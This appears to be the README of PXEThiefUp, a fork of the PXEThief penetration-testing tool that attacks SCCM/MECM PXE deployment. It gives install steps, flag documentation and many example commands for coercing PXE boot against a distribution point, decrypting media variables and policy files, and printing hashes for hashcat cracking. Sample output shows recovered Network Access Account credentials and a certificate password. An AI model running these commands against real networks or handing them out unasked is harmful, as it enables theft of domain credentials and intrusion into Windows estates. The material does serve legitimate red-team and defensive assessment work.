PXEThiefUp up is a modification of the original PXEThief by MWR-Cybersec, (with improvements from the fork by blurbdust). This adds a large amount of features which I needed in the field, and fixes common issues I've found during testing, alongside a lot of refactoring.
- Automatic and Manual targeting of PXE with Interface Selection
- Offline and Online Media formats supported
variables.datandpolicy.xmlsupport.isofile supportboot.varsupport
- Folder Scanning
- Loot folder organisation for completed files
- Basic weak password testing
- Arg flags
- Both Windows and Linux support
git clone github.com/evildaemond/pxethiefup
cd pxethiefup
pip install -r requirements.txt # --break-system-packages may be needed if you are using a newer distrogit clone github.com/evildaemond/pxethiefup
cd pxethiefup
virtualenv env
source env/bin/activate
pip install -r requirements.txtusage: pxethiefup [-h] [-a] [-m] [-t [TARGET]] [-u [URL]] [-d] [-f [FOLDER]] [-vf [VARIABLES]] [-pf [POLICY]] [-p [PASSWORD]] [-c] [-v] [-l] [-i INTERFACE]
An upgraded version of PXEThief used for extracting sensitive data from SCCM/MECM material and servers
options:
-h, --help show this help message and exit
-a, --auto Automatically identify and download encrypted media file using DHCP PXE boot request
-m, --manual Coerce PXE Boot against a specific MECM Distribution Point server designated by IP address
-t [TARGET], --target [TARGET]
Target IP address of the MECM Distribution Point server
-u [URL], --url [URL]
Manually specify the URL of the MECM Distribution Point server (useful for when you don't have DNS)
-d, --decrypt Decrypt a media variables file and/or policies.xml
-f [FOLDER], --folder [FOLDER]
Folder containing files for decryption
-vf [VARIABLES], --variables [VARIABLES]
Variable file to decrypt
-pf [POLICY], --policy [POLICY]
Policy file to decrypt
-p [PASSWORD], --password [PASSWORD]
Password to decrypt the media variables file (for hex input, use 0x prefix)
-c, --crack Print the hash corresponding to a specified media variables file for cracking in hashcat
-v, --verbose Enable verbose output
-l, --list-interfaces
List available network interfaces
-i INTERFACE, --interface INTERFACE
Specify the network interface to use (int)
Broadcast for DHCP and use PXE to try to download the PXE Materials
python3 pxethiefup.py -a
python3 pxethiefup.py --autoRequest a target MECM Distribution Point server for PXE Materials
python3 pxethiefup.py -m -t 10.1.1.2
python3 pxethiefup.py --manual -target 10.1.1.2Use a specific network interface (scapy int value) when requesting the PXE files from a manual interface
python3 pxethiefup.py -m -i 73
python3 pxethiefup.py --auto --interface 73Search a folder for files and decrypt them (including ISO) and decrypt it:
python pxethiefup.py -d -f '../standalone/'
python pxethiefup.py --decrypt --folder '../standalone/'Decrypt a partial or network based media - Variables file with no password or unknown password:
python3 pxethiefup.py -d -vf variables.xml
python3 pxethiefup.py --decrypt --variables variables.xmlDecrypt a partial or network based media - Variables file using a password:
python3 pxethiefup.py -d -vf variables.xml -p password123
python3 pxethiefup.py --decrypt --variables variables.xml --password password123Decrypt the full media using a variables and policy file:
python3 pxethiefup.py -d -vf variables.xml -pf policies.xml -p password123
python3 pxethiefup.py --decrypt --variables variables.xml --policy policies.xml --password password123Decrypt a boot.var file with the known password
python pxethiefup.py -d -f '../boot.var/' -p 0xc8ff83ffabff76006a004e006e007d00f8ff3900
python pxethiefup.py --decrypt --folder '../boot.var/' -p 0xc8ff83ffabff76006a004e006e007d00f8ff3900Display the hash corresponding to a media variables file for cracking in hashcat:
python3 pxethiefup.py -c -vf variables.xml
python3 pxethiefup.py --crack --variables variables.xmlDisplay current network interfaces
python3 pxethiefup.py -l
python3 pxethiefup.py --list-interfacesStandalone Media folder containing Policy.xml and Variables.dat
python pxethiefup.py -d -f '../standalone/'
[?] Scanning folder for media variables file
[+] Successfully decrypted media variables file with default password
[+] Successfully decrypted media variables file!
[?] Writing decrypted 'TaskSequence_policy_Build - Laptops-BA73FD24-90CB-4BDA-9C71-9C9E1FF761B7.xml'
[?] Writing decrypted 'TaskSequence_policy_Build - Laptops-BA73FD24-90CB-4BDA-9C71-9C9E1FF761B7.xml'
NAA Credentials
┏━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ Username ┃ Password ┃
┡━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ domain\__sccm │ password12345 │
│ domain\__sccm │ password12345 │
└───────────────┴───────────────┘
Boot.var with hex password from PXE
python pxethiefup.py -d -f '../boot.var/' -p 0xd0fe83ffbaff67005a4e00005e00d7008fff3900
[?] Scanning folder for media variables file
[+] Successfully decrypted media variables file!
[?] Writing _SMSTSMediaPFX to ER1_dff99bc1-1cb8-47cc-9558-88740b13aa1e_SMSTSMediaPFX.pfx
[?] Certificate password is dff99bc1-1cb8-47cc-9558-88740b13aa1e
[!] SCCM.domain.com does not appear to be a valid hostname or address (or DNS does not resolve)
[?] Please check your DNS settings or use the target flag to set the Management Point URL.